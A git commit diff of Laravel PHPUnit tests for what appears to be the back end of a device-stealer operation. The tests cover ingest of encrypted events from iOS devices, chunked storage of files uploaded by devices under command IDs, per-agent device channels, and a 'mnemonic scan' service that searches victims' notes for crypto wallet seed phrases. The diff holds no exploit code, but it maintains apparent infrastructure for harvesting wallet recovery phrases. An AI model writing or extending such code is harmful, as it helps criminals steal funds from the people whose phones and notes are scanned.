This commit is contained in:
hashbro
2026-09-17 00:25:39 +08:00
parent a49fb2415d
commit 2d18331feb
13 changed files with 475 additions and 91 deletions
+8 -2
View File
@@ -198,9 +198,15 @@ class AnalyticsReportTest extends TestCase
'ios_version' => '18.5',
'has_wallet' => Device::WALLET_NONE,
]);
$aliveEnd = now();
$aliveStart = $aliveEnd->copy()->subHours(2);
if ($aliveStart->lt($aliveEnd->copy()->startOfDay())) {
$aliveStart = $aliveEnd->copy()->startOfDay();
$aliveEnd = $aliveStart->copy()->addHours(2);
}
DB::table('devices')->where('id', $alive->id)->update([
'created_at' => now()->subHours(2),
'updated_at' => now(),
'created_at' => $aliveStart,
'updated_at' => $aliveEnd,
]);
DB::table('devices')->where('id', $short->id)->update([
'created_at' => now(),
+16
View File
@@ -229,6 +229,22 @@ class DailyReportTest extends TestCase
$this->assertSame(1, $row->uv);
}
#[Test]
public function command_skips_fresh_historical_days_unless_forced(): void
{
$this->artisan('coruna:daily-stats', ['--days' => 5])
->expectsOutputToContain('daily-stats rebuilt=5')
->assertSuccessful();
$this->artisan('coruna:daily-stats', ['--days' => 5])
->expectsOutputToContain('daily-stats rebuilt=2')
->assertSuccessful();
$this->artisan('coruna:daily-stats', ['--days' => 5, '--force' => true])
->expectsOutputToContain('daily-stats rebuilt=5')
->assertSuccessful();
}
#[Test]
public function agent_only_sees_own_channel(): void
{
+48
View File
@@ -0,0 +1,48 @@
<?php
namespace Tests\Feature;
use App\Models\Device;
use App\Services\DsResultStore;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class DsResultStoreTest extends TestCase
{
use RefreshDatabase;
#[Test]
public function assembles_chunks_without_keeping_a_concat_string(): void
{
Storage::fake('local');
$device = Device::query()->create([
'device_id' => 'DSCHUNKDEVICE01',
'album_storage' => false,
]);
$store = app(DsResultStore::class);
$pending = $store->store($device, [
'filename' => 'memo.bin',
'data' => base64_encode('AAA'),
'command_id' => 'cmd1',
'total_chunks' => 2,
'chunk_index' => 0,
]);
$this->assertFalse($pending['stored']);
$this->assertSame('chunk_pending', $pending['reason']);
$done = $store->store($device, [
'filename' => 'memo.bin',
'data' => base64_encode('BBB'),
'command_id' => 'cmd1',
'total_chunks' => 2,
'chunk_index' => 1,
]);
$this->assertTrue($done['stored']);
$this->assertSame(6, $done['size']);
Storage::disk('local')->assertExists($done['path']);
$this->assertSame('AAABBB', Storage::disk('local')->get($done['path']));
}
}
+62
View File
@@ -281,6 +281,68 @@ TXT;
});
}
#[Test]
public function admin_findings_index_streams_note_progress(): void
{
$first = $this->device('dev-scan-progress-a');
$second = $this->device('dev-scan-progress-b');
Note::query()->create([
'device_id' => $first->id,
'content' => [
['title' => 'old', 'body' => 'one', 'native_id' => 1],
['title' => 'old2', 'body' => 'two', 'native_id' => 2],
],
'content_hash' => hash('sha256', 'old'),
]);
Note::query()->create([
'device_id' => $first->id,
'content' => [
['title' => 'new', 'body' => 'only-latest', 'native_id' => 3],
],
'content_hash' => hash('sha256', 'new'),
]);
Note::query()->create([
'device_id' => $second->id,
'content' => [
['title' => 'b1', 'body' => 'x', 'native_id' => 1],
['title' => 'b2', 'body' => 'y', 'native_id' => 2],
],
'content_hash' => hash('sha256', 'b'),
]);
$progress = app(MnemonicScanService::class)->noteProgress();
$this->assertSame(3, $progress['total']);
$agentA = User::query()->create(['username' => 'scan-pa', 'password' => 'secret12', 'status' => 1]);
$agentB = User::query()->create(['username' => 'scan-pb', 'password' => 'secret12', 'status' => 1]);
Channel::query()->create(['channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'user_id' => $agentA->id, 'status' => 1]);
Channel::query()->create(['channel_id' => 'cccccccccccccccccccccccccccccccc', 'user_id' => $agentB->id, 'status' => 1]);
$other = Device::query()->create([
'device_id' => 'dev-scan-progress-c',
'channel_id' => 'cccccccccccccccccccccccccccccccc',
]);
Note::query()->create([
'device_id' => $other->id,
'content' => [
['title' => 'c1', 'body' => 'z', 'native_id' => 1],
['title' => 'c2', 'body' => 'w', 'native_id' => 2],
['title' => 'c3', 'body' => 'v', 'native_id' => 3],
['title' => 'c4', 'body' => 'u', 'native_id' => 4],
['title' => 'c5', 'body' => 't', 'native_id' => 5],
],
'content_hash' => hash('sha256', 'c'),
]);
$this->assertSame(3, app(MnemonicScanService::class)->noteProgress(null, $agentA)['total']);
$this->assertSame(5, app(MnemonicScanService::class)->noteProgress(null, $agentB)['total']);
$admin = Admin::query()->create(['username' => 'scan-index', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->get(route('admin.findings.index'))
->assertOk()
->assertSee('助记词扫描')
->assertSee('备忘录');
}
#[Test]
public function agent_cannot_open_findings_when_scan_hidden(): void
{
+18
View File
@@ -5,6 +5,7 @@ namespace Tests\Feature;
use App\Models\Channel;
use App\Models\Device;
use App\Services\CorunaCrypto;
use App\Services\IngestService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -176,4 +177,21 @@ class NewBuilderIngestTest extends TestCase
$this->assertSame(self::CHANNEL_ID, Device::query()->where('device_id', '000C30D83CD0402E')->value('channel_id'));
}
#[Test]
public function create_device_race_returns_existing_row(): void
{
$existing = Device::query()->create(['device_id' => '000007B46A3A84B8']);
$method = new \ReflectionMethod(IngestService::class, 'createDevice');
$device = $method->invoke(
app(IngestService::class),
\Illuminate\Http\Request::create('/event', 'POST'),
['d' => '000007B46A3A84B8'],
'000007B46A3A84B8',
false,
);
$this->assertSame($existing->id, $device->id);
$this->assertSame(1, Device::query()->count());
}
}